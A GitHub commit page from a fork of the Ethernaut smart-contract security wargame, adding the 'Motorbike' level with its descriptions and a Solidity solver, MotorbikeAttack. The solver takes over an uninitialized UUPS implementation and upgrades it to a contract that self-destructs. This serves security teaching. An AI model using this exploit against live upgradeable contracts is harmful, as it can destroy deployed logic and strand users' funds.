forked from OpenZeppelin/ethernaut
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
OpenZeppelin Hackathon - Motorbike (OpenZeppelin#278)
* Initial draft * Add factory * Level setup/description/etc * Add SafeMath * Add test scaffold * Add proxy contract * Add real multicall to test * Use OZ Upgradeable contract * Redefine admin variable - Redefine admin address to follow the storage layout order and not a random slot - Add a totalBalance variable to the PuzzleWallet contract * Clean up proxy * Style fixes * Add bachi audit notes :P * Add comment in proposeNewAdmin function * Changing constructor to init to be used with proxy * Initialize the proxy with the logic * Adapted createInstance to deploy and initialize proxy and logic * Modify function name * Consistency in variable names * Set a initial check if the player passed the game * Draft version of the win procedure * first commit * Change params order in constructor * Add upgradeTo function * add more resources * Add _maxBalance parameter to init function * Changed order of params and new init * Fix compile errors and tests * Added initial version of pre and post history * Added disclaimer for delegatecall * Shrink functions * Remove blankspace * Minor change * Update puzzle_wallet.md * Update puzzle_wallet_complete.md * Update puzzle_wallet.md * Update client/src/gamedata/en/descriptions/levels/puzzle_wallet.md Co-authored-by: Andres Bachfischer <[email protected]> * Add adminship takeover * Clean up of tests and factory * Add error messages in tests * Remove unused variable * Remove unnecessary comment * add authors * restore rinkeby * Change upgrade address * Change line in puzzle_wallet.md * Change validateInstance return var * Add semicolons in tests * Remove eth restriction * Pump the difficulty * Change authors names * Fix maxBalance check * fix gamedata and level, adding jap files * remove compilation warnings * add jap * fix gamedata * change authors * adjust difficulty * deploy on rinkeby Co-authored-by: Vicente Dragicevic <[email protected]> Co-authored-by: Juan Bautista Carpanelli <[email protected]> Co-authored-by: Andres Bachfischer <[email protected]> Co-authored-by: Andres Bachfischer <[email protected]>
- Loading branch information
1 parent
dbad884
commit e935a05
Showing
63 changed files
with
439 additions
and
24 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -48,6 +48,11 @@ | |
"email": "[email protected]", | ||
"website": "http://scottt.tw", | ||
"donate": "scottt.eth" | ||
}, | ||
"openzeppelin": { | ||
"name": "OpenZeppelin", | ||
"email": "[email protected]", | ||
"website": "https://openzeppelin.com" | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
Ethernaut's motorbike has a brand new upgradeable engine design. | ||
|
||
Would you be able to `selfdestruct` its engine and make the motorbike unusable ? | ||
|
||
Things that might help: | ||
|
||
- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) | ||
- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern | ||
- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract |
9 changes: 9 additions & 0 deletions
9
client/src/gamedata/en/descriptions/levels/motorbike_complete.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls. | ||
|
||
This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized. | ||
|
||
This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. | ||
|
||
Takeways: never leaves implementation contracts uninitialized ;) | ||
|
||
If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
Ethernaut's motorbike has a brand new upgradeable engine design. | ||
|
||
Would you be able to `selfdestruct` its engine and make the motorbike unusable ? | ||
|
||
Things that might help: | ||
|
||
- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) | ||
- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern | ||
- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract |
9 changes: 9 additions & 0 deletions
9
client/src/gamedata/es/descriptions/levels/motorbike_complete.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls. | ||
|
||
This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized. | ||
|
||
This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. | ||
|
||
Takeways: never leaves implementation contracts uninitialized ;) | ||
|
||
If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
Ethernaut's motorbike has a brand new upgradeable engine design. | ||
|
||
Would you be able to `selfdestruct` its engine and make the motorbike unusable ? | ||
|
||
Things that might help: | ||
|
||
- [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) | ||
- [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern | ||
- [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract |
9 changes: 9 additions & 0 deletions
9
client/src/gamedata/ja/descriptions/levels/motorbike_complete.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls. | ||
|
||
This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized. | ||
|
||
This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern. | ||
|
||
Takeways: never leaves implementation contracts uninitialized ;) | ||
|
||
If you're interested in what happened, read more [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/CoinFlip.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract DenialAttack { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/Elevator.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract ForceAttack { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract MagicNumBadSolver { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract MagicNumSolver { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '@openzeppelin/contracts/access/Ownable.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity <0.7.0; | ||
|
||
import "@openzeppelin/contracts/utils/Address.sol"; | ||
|
||
contract MotorbikeAttack { | ||
|
||
// Address of current implementation (The Engine) | ||
address public implementation; | ||
event Check(bool result); | ||
|
||
constructor(address impl) public { | ||
implementation = impl; | ||
} | ||
|
||
function takeControl() external returns(bytes memory) { | ||
// take control over the Engine | ||
Address.functionCall(implementation, abi.encodeWithSignature("initialize()")); | ||
} | ||
|
||
function destroy() external { | ||
// Upgrade the engine to a contract that selfdestruct once initialized | ||
Exploit exploit = new Exploit(); | ||
|
||
Address.functionCall( | ||
implementation, | ||
abi.encodeWithSignature( | ||
"upgradeToAndCall(address,bytes)", | ||
address(exploit), | ||
abi.encodeWithSignature("initialize()") | ||
) | ||
); | ||
} | ||
|
||
function validateItIsBroken() external { | ||
emit Check(Address.isContract(implementation)); | ||
} | ||
|
||
} | ||
|
||
contract Exploit { | ||
|
||
function initialize() external { | ||
selfdestruct(msg.sender); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/NaughtCoin.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract PreservationAttack { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/Shop.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/Telephone.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import '../levels/Vault.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.5.0; | ||
|
||
import './base/Level-05.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
import './base/Level.sol'; | ||
|
Oops, something went wrong.